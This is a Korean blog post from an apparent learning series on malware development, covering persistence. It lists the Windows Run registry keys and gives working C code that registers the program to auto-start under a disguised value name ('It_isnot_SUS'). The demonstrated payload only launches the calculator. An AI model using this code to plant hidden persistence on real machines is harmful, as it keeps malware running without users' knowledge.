악성코드와 백신/악성코드 개발일지

[악성코드 개발](12)[persistency]

황올뱀 2026. 3. 18. 22:27

악성코드의 지속

https://rninche01.tistory.com/entry/%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EC%A7%80%EC%86%8D%EB%A9%94%EC%BB%A4%EB%8B%88%EC%A6%98
↑지속 매커니즘이 잘 정리된 글

 

내 수준에선 레지스트리 조작, 시작폴더, 스케줄작업 쪽을 건드는 것이 나을 듯 하다.

 

레지스트리 조작

가장 일반적인 지속 매커니즘 중 하나다.

 

Run 레지스트리 키에 프로그램을 등록하면 윈도우 로딩과 동시에 프로그램이 알아서 켜진다
이러면 악성코드도 한번 실행만 하면 눈치채기 전까지는 마음껏 살아있을 수 있다!

 

Run과 관련된 registry key 모음

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

 

코드 구현

가장 간단한 HKCU\Software\Microsoft\Windows\CurrentVersion\Run을 이용하여 구현해보겠다.

 

RegOpenKeyExA와 같은 일반 문자용 함수를 쓰려니 글자가 자꾸 깨져서
유니코드를 쓰는 RegOpenKeyExW와 같은 W함수와 wchar_t자료형을 사용하였다. (문자열 앞에 L붙이는 것도 까먹지 않기!)

 

코드의 동작은 다음과 같다

  1. 등록할 내용 준비
    표시될 이름, 절대경로

  2. RegOpenKeyExW로 레지스트리 키 열기
    HKEY_CURRENT_USER: 현재 로그인한 사용자의 설정으로 들어감
    run 경로: 내 프로그램 경로
    KEY_SET_VALUE: registry key를 수정할 수 있는 권한으로 들어감
    반환 장소: hKey에 handle 반환
  3. RegSetValueExW로 레지스트리 편집
    hKey: open한 registry편집 handle
    valueName: 보여질 이름
    0: 걍 0으로 둬야 함
    REG_SZ: 단순 텍스트라 알려주기
    data: 여기서는 Path를 적음
    size: 데이터 사이즈 (byte)
    https://learn.microsoft.com/ko-kr/windows/win32/api/winreg/nf-winreg-regsetvalueexw

  4. 핸들 정리
#include <windows.h>
#include <stdio.h>

void persistency(){
    HKEY hKey;

    const wchar_t* valueName = L"It_isnot_SUS"; //표시 이름

    // 프로그램의 절대 경로
    wchar_t exePath[MAX_PATH];
    DWORD length = GetModuleFileNameW(NULL, exePath, MAX_PATH);
    printf("mypath: %ls\n", exePath);

    // 레지스트리 키 열기 (KEY_SET_VALUE 권한으로 열기)
    LONG result = RegOpenKeyExW(
        HKEY_CURRENT_USER,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_SET_VALUE,
        &hKey
    );

    if (result == ERROR_SUCCESS) {
        // 2. 레지스트리 값 설정 (프로그램 경로 등록)
        result = RegSetValueExW(
            hKey,
            valueName,
            0,
            REG_SZ,  // 문자열 타입
            (const BYTE*)exePath,
            (wcslen(exePath) + 1) * sizeof(wchar_t) // 널 문자(\0) 포함 길이
        );

        if (result == ERROR_SUCCESS) {
            printf("[+] registry success!\n");
        }
 else {
  printf("error with code %ld\n", result);
}

        // 3. 사용이 끝난 레지스트리 핸들 닫기
        RegCloseKey(hKey);
    }
 else {
  printf("failed to get registry key with error code %ld\n", result);
}

악성코드 개발일지 11에서 작성한 코드에 만든 persistency 함수를 추가해준다.

 

성공적으로 registry에 넣었다고 뜬다면...

 

Software\\Microsoft\\Windows\\CurrentVersion\\Run에 내가 설정한 이름과 내 프로그램의 주소가 적혀있는 것을 알 수 있다!

 

실제로 재부팅을 해보면 뜬금없이 cmd창과 함께 계산기가 뜨는 것을 알 수 있다.
내 악성코드가 성공적으로 띄워졌다!

반응형